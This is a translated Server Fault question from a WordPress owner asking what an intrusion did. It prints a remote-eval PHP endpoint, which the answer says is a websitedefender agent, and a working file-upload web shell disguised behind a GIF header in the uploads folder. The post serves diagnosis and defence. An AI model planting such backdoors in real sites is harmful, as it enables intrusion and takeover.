Warm tip: This article is reproduced from serverfault.com, please click

security-我的wordpress已被黑客入侵,但是黑客做了什么,我该如何防止它/修复已造成的损害

(security - My wordpress has been hacked, but what did the hacker do and how can I prevent it/ fix damage done)

发布于 2011-11-23 23:09:26

我看到服务器上的负载很高,并查看了apache服务器状态,并看到到/2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php的帖子占用了我12%的cpu。我关闭了apache,移动了文件,在htaccess中阻止了该家伙,现在我想知道到底造成了什么损坏。好像该文件是4天前添加的

<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');

define('DEFLATE_RESPONSE_DATA', True);

header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer='2.0';

if(!function_exists('property_exists'))
{ 
    function property_exists($class, $property)
    { 
        if(is_object($class))$vars=get_object_vars($class); 
        else $vars=get_class_vars($class); 
        return array_key_exists($property, $vars); 
    } 
} 
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
    switch ($errno)
    {
        case E_NOTICE:
        case E_USER_NOTICE:
        case E_WARNING:
        case E_USER_WARNING:
            return True;        
        case E_ERROR:
            $code = 0;
            break;
        case E_USER_ERROR:
            $code = 1;
            break;
        default:
            $code = 2;
    }       
    if(function_exists('json_encode'))
    {
        $message = "{$errstr} ({$errfile} Line: {$errline})";
        $response = json_encode(array('jsonrpc' => $GLOBALS['jsonRPCVer'],'id'=>$GLOBALS['requestId'],'error'=>array('code'=>$code,'message'=> $message)));
    }
    else
    {
        $message = "{$errstr}";
        $response = "{\"jsonrpc\":{$GLOBALS['jsonRPCVer']},\"id\":{$GLOBALS['requestId']},\"error\":{\"code\":{$code},\"message\":\"{$message}\"}}";
    }
    die($response);
}

set_error_handler("senzorErrorHandler");
if(!function_exists('json_encode'))
{   
    if (!file_exists("compat/json.php"))    
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);    
    require_once("compat/json.php");
    function json_encode($data)
    {
        $json = new Services_JSON();
        return($json->encode($data));
    }
}
if(!function_exists('json_decode'))
{
    if(!file_exists("compat/json.php")) 
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);   
    function json_decode($data)
    {
        $json = new Services_JSON();
        return($json->decode($data));
    }
}

if(function_exists('bcmod'))
    define('BCMOD', true);
else
    {
        if(!file_exists("compat/array_fill.php")||!file_exists("compat/bcpowmod.php")||!file_exists("compat/biginteger.php")) 
            trigger_error("#COMPAT-BI#", E_USER_ERROR);
        require_once("compat/array_fill.php");
        require_once("compat/bcpowmod.php");
        require_once("compat/biginteger.php");
    }

function rsa_encrypt($message, $public_key, $modulus, $keylength, $notSigning = true)
{
    $result = '';
    $chunkLength = intval($keylength / 8) - 11;
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $padded = add_PKCS1_padding(substr($message, $i, $chunkLength), $notSigning, intval($keylength/8));
        $number = binary_to_number($padded);
        $encrypted = pow_mod($number, $public_key, $modulus);
        $binary = number_to_binary($encrypted, intval($keylength/8));
        $result .= $binary;
    }
    return $result;
}
function rsa_decrypt($message, $private_key, $modulus, $keylength)
{
    $result = '';
    $chunkLength = intval($keylength/8);
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $number = binary_to_number(substr($message, $i, $chunkLength));
        $decrypted = pow_mod($number, $private_key, $modulus);
        $presult = number_to_binary($decrypted, $chunkLength);
        $pres = remove_PKCS1_padding($presult, $chunkLength);
        if ($pres === FALSE)
            return FALSE;
        $result .= $pres;
    }
    return $result;
}
function rsa_sign($message, $private_key, $modulus, $keylength)
{
    return rsa_encrypt($message, $private_key, $modulus, $keylength, false);
}
function rsa_verify($message, $signature, $public_key, $modulus, $keylength)
{
    $result = false;
    $result = ($message==rsa_decrypt($signature, $public_key, $modulus, $keylength));
    return $result;
}
function pow_mod($p, $q, $r)
{
    if(defined('BCMOD'))
    {
        $factors = array();
        $div = $q;
        $power_of_two = 0;
        while(bccomp($div, "0") == 1) //BCCOMP_LARGER
        {
            $rem = bcmod($div, 2);
            $div = bcdiv($div, 2);

            if($rem) array_push($factors, $power_of_two);
            $power_of_two++;
        }
        $partial_results = array();
        $part_res = $p;
        $idx = 0;
        foreach($factors as $factor)
        {
            while($idx < $factor)
            {
                $part_res = bcpow($part_res, "2");
                $part_res = bcmod($part_res, $r);
                $idx++;
            }
            array_push($partial_results, $part_res);
        }
        $result = "1";
        foreach($partial_results as $part_res)
        {
            $result = bcmul($result, $part_res);
            $result = bcmod($result, $r);
        }
        return $result;
    }
    //Math_BigInteger implementation 
    $p = new Math_BigInteger($p);
    $q = new Math_BigInteger($q);
    $r = new Math_BigInteger($r);
    $x = $p->modPow($q, $r);
    return $x->toString();
}

function add_PKCS1_padding($data, $isPublicKey, $blocksize)
{   
    $pad_length = $blocksize - 3 - strlen($data);
    if($isPublicKey)
    {
        $block_type = "\x02";   
        $padding = "";      
        for($i = 0; $i < $pad_length; $i++)
            $padding .= chr(mt_rand(1, 255));
    }
    else
    {
        $block_type = "\x01";
        $padding = str_repeat("\xFF", $pad_length);
    }   
    return "\x00" . $block_type . $padding . "\x00" . $data;
}
function remove_PKCS1_padding($data, $blocksize)
{
    #bad data length
    if(strlen($data) != $blocksize) return FALSE;
    if(($data[0]!="\0") || ( ($data[1] != "\x01") && ($data[1] != "\x02") )) return FALSE;
    #bad padding type
    $offset = strpos($data, "\0", 1);
    return substr($data, $offset + 1);
}
function binary_to_number($data)
{   
    if(defined('BCMOD'))
    {
        $base = "256";
        $radix = "1";
        $result = "0";
        for($i = strlen($data) - 1; $i >= 0; $i--)
        {
            $digit = ord($data{$i});
            $part_res = bcmul($digit, $radix);
            $result = bcadd($result, $part_res);
            $radix = bcmul($radix, $base);
        }
        return $result;
    }   
    //Math_BigInteger implementation
    $result = new Math_BigInteger();
    $p = new Math_BigInteger("0x100", 16);
    $m = new Math_BigInteger("0x01", 16);
    for($i=strlen($data)-1; $i>=0; $i--)
    {       
        if(defined('MATH_BIGINTEGER_MODE') && defined('MATH_BIGINTEGER_MODE_INTERNAL') && (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL))
        {
            $d = new Math_BigInteger();
            $d->value = array(ord($data[$i]));
        }
        else $d = new Math_BigInteger(ord($data[$i]));

        $d = $d->multiply($m);
        $m = $m->multiply($p);
        $result = $result->add($d);
    }
    return $result->toString();
}

function hex_to_binary($hex, $blocksize)
{
    $result = '';
    for($i = 0; $i < (strlen($hex) - 1); $i = $i + 2)
        $result = $result . pack('H2', substr($hex, $i, 2));    
    $result = pack('H'.sprintf('%d',strlen($hex)), $hex);
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}

function number_to_binary($number, $blocksize)
{
    if(defined('BCMOD'))
    {
        $base = "256";
        $num = $number;
        $result = "";
        while($num > 0)
        {
            $mod = bcmod($num, $base);
            $num = bcdiv($num, $base);      
            $result = chr($mod) . $result;
        }
        return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
    }   
    //Math_BigInteger implementation
    $result = "";
    $num = new Math_BigInteger($number);
    $zero = new Math_BigInteger();
    $divider = new Math_BigInteger("0x100",16); 
    while($num->compare($zero) > 0)
    {
        list($num, $remainder) = $num->divide($divider);
        $add = $remainder->toBytes();
        if($add == '') $add = "\0";
        $result = $add . $result;
    }   
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function rsa_sign_b64($message, $private_key, $modulus, $keylength)
{
    return base64_encode(rsa_sign($message, $private_key, $modulus, $keylength));
}
function rsa_verify_b64($message, $signature, $public_key, $modulus, $keylength)
{
    return rsa_verify($message, base64_decode($signature), $public_key, $modulus, $keylength);
}
function rsa_encrypt_b64($message, $public_key, $modulus, $keylength)
{
    return base64_encode(rsa_encrypt($message, $public_key, $modulus, $keylength));
}
function rsa_decrypt_b64($message, $private_key, $modulus, $keylength)
{
    return rsa_decrypt(base64_decode($message), $private_key, $modulus, $keylength);
}

function get_rnd_iv($iv_len)
{
    $iv = '';
    while ($iv_len-- > 0) $iv .= chr(mt_rand(1, 255));
    return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16)
{
    $plain_text .= "\x13";
    $n = strlen($plain_text);
    if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
    $i = 0;
    $enc_text = get_rnd_iv($iv_len);
    $iv = substr($password ^ $enc_text, 0, 512);
    while ($i < $n) 
    {
        $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
        $enc_text .= $block;
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return base64_encode($enc_text);
}

function md5_decrypt($enc_text, $password, $iv_len = 16)
{
    $enc_text = base64_decode($enc_text);
    $n = strlen($enc_text);
    $i = $iv_len;
    $plain_text = '';
    $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
    while ($i < $n) 
    {
        $block = substr($enc_text, $i, 16);
        $plain_text .= $block ^ pack('H*', md5($iv));
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}

function handleRequest($request = '')
{   
    if((!is_string($request))||($request==''))trigger_error("#REQUEST-EMPTY#", E_USER_ERROR);       
    $request = json_decode($request);   
    if(!is_object($request))trigger_error("#REQUEST-JSON#", E_USER_ERROR);   
    if( (!property_exists($request, 'jsonrpc')) || 
        (!property_exists($request, 'id')) || 
        (!property_exists($request, 'method')) || 
        (!property_exists($request, 'params')))trigger_error("#REQUEST-JSRPC#", E_USER_ERROR);     
    $GLOBALS['requestId']=$request->id;
    if(floatval($request->jsonrpc) != 2.0) trigger_error("#REQUEST-VERSION#", E_USER_ERROR);    
    $GLOBALS['jsonRPCVer']=$request->jsonrpc;               
    if(!property_exists($request, 'sign'))trigger_error("#REQUEST-SIG#", E_USER_ERROR);         
    if(property_exists($request, 'enc'))$request->params = md5_decrypt($request->params, PAS_REQ);
    if(property_exists($request, 'def'))
    {
        if(!function_exists('gzuncompress')) trigger_error("#COMPAT-ZLIB#", E_USER_ERROR);      
        $request->params = gzuncompress($request->params);
    }   
    if(!rsa_verify_b64(sha1($request->params), $request->sign, RSA_PUB, RSA_MOD, RSA_LEN))trigger_error("#REQUEST-SIG#", E_USER_ERROR); 
    if($request->method != "execute")trigger_error("#REQUEST-METHOD#", E_USER_ERROR);   
    $result = NULL;
    $success = @eval('?>'.$request->params);
    if($success === FALSE) trigger_error("#REQUEST-PROCESSING#", E_USER_ERROR);                         
    $result = json_encode($result); 
    $response = array ('jsonrpc' => $GLOBALS['jsonRPCVer'], 'id' => $request->id);  
    if(function_exists('gzcompress') && DEFLATE_RESPONSE_DATA && (strlen($result) > 100))
    {
        $response['def'] = true;
        $result = gzcompress($result, 6);
    }           
    $result = md5_encrypt($result, PAS_RES);    
    $response['enc'] = true;
    $response['result'] = $result;
    return json_encode($response);        
}

if (($_SERVER['REQUEST_METHOD'] == 'POST')&&(!empty($_SERVER['CONTENT_TYPE']))&&(preg_match('/^application\/json/i', $_SERVER['CONTENT_TYPE'])))
    echo handleRequest(file_get_contents('php://input'));

我在服务器根目录下创建了一个文件

410.php

<?php header('HTTP/1.0 410 Gone'); ?>

并且在我的.htaccess apache文件中添加了

RewriteEngine On
RewriteBase /


RewriteCond %{REMOTE_ADDR} ^188.138.56.125 [OR]
RewriteCond %{REMOTE_ADDR} ^188.138.56.125 
RewriteRule ^.*$ 410.php [L]

我在wp-content / uploads文件夹中还注意到了somehash.php文件,其中包含内容

GIF89a^A^@^A^@<80>^@^@<FF><FF><FF>^@^@^@!<F9>^D^A^@^@^@^@,^@^@^@^@^A^@^A^@^@^B^BD^A^@;^@<?php $f=preg_replace('/(.*wp-content).*/i','\1',di
rname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);ech
o "14qhpo"; ?>^@;

以及其中具有777权限的目录,其中包含我的wordpress文件,我也将其删除了。

我将使用干净的目录中的新鲜数据和插件重新安装Wordpress,但是如何防止再次出现这种情况,或者更好地对其进行监控?黑客做了什么?如何防止/修复造成的损害?

我在这里看到其他人也受到了同样的攻击http://pastebin.com/k5HUythK

编辑11/23

奇怪的是,我认为我粘贴的第一个代码可能是我刚刚安装了websitedefender.com的插件,因为现在它向我发送电子邮件,表明“代理无响应”,http://wordpress.org/extend/plugins/wp-security-扫描/http://wordpress.org/extend/plugins/websitedefender-wordpress-security/

我本以为如果合法,他们会为该文件添加注释

Questioner
BF4
Viewed
22
20.6k 2013-04-16 19:41:21

不必担心(至少对于此问题而言),因为该文件和代码是标准的websitedefender.com sitecheck文件。我想你已将其上传到你的网站并忘记了?